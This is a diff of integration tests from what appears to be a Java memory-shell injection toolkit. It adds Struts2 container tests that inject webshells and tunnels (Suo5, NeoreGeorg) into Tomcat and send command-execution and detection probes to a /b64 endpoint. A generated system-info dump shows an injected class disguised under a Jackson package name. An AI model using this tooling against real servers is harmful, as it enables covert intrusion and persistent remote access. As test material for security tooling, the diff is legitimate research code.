Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty
|
||||
);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
|
||||
+2
-2
@@ -48,7 +48,7 @@ public class Payara5201ContainerTest {
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
@@ -66,7 +66,7 @@ public class Payara5201ContainerTest {
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1));
|
||||
container.waitingFor(Wait.forHttp("/app"));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
|
||||
+2
-2
@@ -48,7 +48,7 @@ public class Payara520225ContainerTest {
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
@@ -66,7 +66,7 @@ public class Payara520225ContainerTest {
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1));
|
||||
container.waitingFor(Wait.forHttp("/app"));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.reajason.javaweb.integration.memshell.struct2;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/4
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Struct2ContainerTest {
|
||||
public static final String imageName = "tomcat:8-jre8";
|
||||
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.Struct2;
|
||||
List<String> supportedShellTypes = List.of(ShellType.ACTION);
|
||||
List<Packers> testPackers = List.of(Packers.ScriptEngine);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.Struct2, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.ACTION})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.Struct2, shellType, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -39,7 +39,7 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Wildfly9ContainerTest {
|
||||
public static final String imageName = "jboss/wildfly:10.0.0.Final";
|
||||
public static final String imageName = "jboss/wildfly:9.0.1.Final";
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package com.reajason.javaweb.integration.probe.struct2;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/4
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Struct2ContainerTest {
|
||||
public static final String imageName = "tomcat:8-jre8";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@Test
|
||||
void testJDK() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
|
||||
assertEquals("JRE|1.8.0_402|52", data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBasicInfo() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
||||
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.Tomcat, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testScriptEngineReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -30,7 +30,7 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Wildfly9ContainerTest {
|
||||
public static final String imageName = "jboss/wildfly:10.0.0.Final";
|
||||
public static final String imageName = "jboss/wildfly:9.0.1.Final";
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war")
|
||||
|
||||
@@ -0,0 +1,475 @@
|
||||
# Generated At 2025-12-08 15:18:17
|
||||
SystemProps:
|
||||
java.vendor: Temurin
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
catalina.base: /usr/local/tomcat
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
catalina.useNaming: true
|
||||
os.name: Linux
|
||||
sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes
|
||||
java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties
|
||||
org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.runtime.version: 1.8.0_402-b06
|
||||
user.name: root
|
||||
tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
shared.loader:
|
||||
tomcat.util.buf.StringCache.byte.enabled: true
|
||||
java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory
|
||||
user.language: en
|
||||
sun.boot.library.path: /opt/java/openjdk/lib/aarch64
|
||||
jdk.tls.ephemeralDHKeySize: 2048
|
||||
java.version: 1.8.0_402
|
||||
java.util.logging.manager: org.apache.juli.ClassLoaderLogManager
|
||||
user.timezone: Etc/UTC
|
||||
sun.arch.data.model: 64
|
||||
java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory
|
||||
java.endorsed.dirs: /opt/java/openjdk/lib/endorsed
|
||||
sun.cpu.isalist:
|
||||
sun.jnu.encoding: UTF-8
|
||||
file.encoding.pkg: sun.io
|
||||
package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat.
|
||||
file.separator: /
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 52.0
|
||||
user.country: US
|
||||
java.home: /opt/java/openjdk
|
||||
java.vm.info: mixed mode
|
||||
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
|
||||
path.separator: :
|
||||
java.vm.version: 25.402-b06
|
||||
java.protocol.handler.pkgs: org.apache.catalina.webresources
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.specification.maintenance.version: 5
|
||||
awt.toolkit: sun.awt.X11.XToolkit
|
||||
package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat.
|
||||
java.naming.factory.url.pkgs: org.apache.naming
|
||||
user.home: /root
|
||||
org.apache.catalina.security.SecurityListener.UMASK: 0027
|
||||
java.specification.vendor: Oracle Corporation
|
||||
tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar
|
||||
java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib
|
||||
java.vendor.url: https://adoptium.net/
|
||||
java.vm.vendor: Temurin
|
||||
common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar"
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
sun.java.command: org.apache.catalina.startup.Bootstrap start
|
||||
java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
java.vm.specification.version: 1.8
|
||||
catalina.home: /usr/local/tomcat
|
||||
sun.cpu.endian: little
|
||||
sun.os.patch.level: unknown
|
||||
java.io.tmpdir: /usr/local/tomcat/temp
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
server.loader:
|
||||
os.arch: aarch64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext
|
||||
user.dir: /usr/local/tomcat
|
||||
line.separator:
|
||||
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
ignore.endorsed.dirs:
|
||||
file.encoding: UTF-8
|
||||
java.specification.version: 1.8
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"http-nio-8080-exec-8" #24 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.lang.Thread.dumpThreads(Native Method)
|
||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||
at com.fasterxml.jackson.ZsoNQ.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
||||
at java.lang.String.valueOf(String.java:2994)
|
||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:243)
|
||||
at Base64ClassLoaderAction.execute(Base64ClassLoaderAction.java:38)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||
at ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1266)
|
||||
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1251)
|
||||
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1969)
|
||||
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
|
||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:98)
|
||||
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:90)
|
||||
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:2045)
|
||||
at ognl.ASTMethod.getValueBody(ASTMethod.java:97)
|
||||
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
|
||||
at ognl.SimpleNode.getValue(SimpleNode.java:258)
|
||||
at ognl.Ognl.getValue(Ognl.java:537)
|
||||
at ognl.Ognl.getValue(Ognl.java:501)
|
||||
at com.opensymphony.xwork2.ognl.OgnlUtil$3.execute(OgnlUtil.java:492)
|
||||
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecuteMethod(OgnlUtil.java:544)
|
||||
at com.opensymphony.xwork2.ognl.OgnlUtil.callMethod(OgnlUtil.java:490)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeAction(DefaultActionInvocation.java:438)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invokeActionOnly(DefaultActionInvocation.java:293)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:254)
|
||||
at org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:250)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.DefaultWorkflowInterceptor.doIntercept(DefaultWorkflowInterceptor.java:179)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.validator.ValidationInterceptor.doIntercept(ValidationInterceptor.java:263)
|
||||
at org.apache.struts2.interceptor.validation.AnnotationValidationInterceptor.doIntercept(AnnotationValidationInterceptor.java:49)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor.doIntercept(ConversionErrorInterceptor.java:142)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:140)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:201)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.MultiselectInterceptor.intercept(MultiselectInterceptor.java:67)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.DateTextFieldInterceptor.intercept(DateTextFieldInterceptor.java:133)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:89)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:243)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:101)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:142)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:160)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:175)
|
||||
at com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:99)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:121)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:167)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:228)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:196)
|
||||
at com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:249)
|
||||
at org.apache.struts2.factory.StrutsActionProxy.execute(StrutsActionProxy.java:48)
|
||||
at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:574)
|
||||
at org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:79)
|
||||
at org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:141)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:181)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:156)
|
||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)
|
||||
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
|
||||
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)
|
||||
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)
|
||||
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
|
||||
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:679)
|
||||
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
|
||||
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)
|
||||
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:617)
|
||||
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
|
||||
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:934)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1690)
|
||||
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44aea3d6
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492)
|
||||
at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-AsyncTimeout" #29 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1291)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74bb0a31
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Catalina-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@259b735f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"localhost-startStop-1" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ede5b2
|
||||
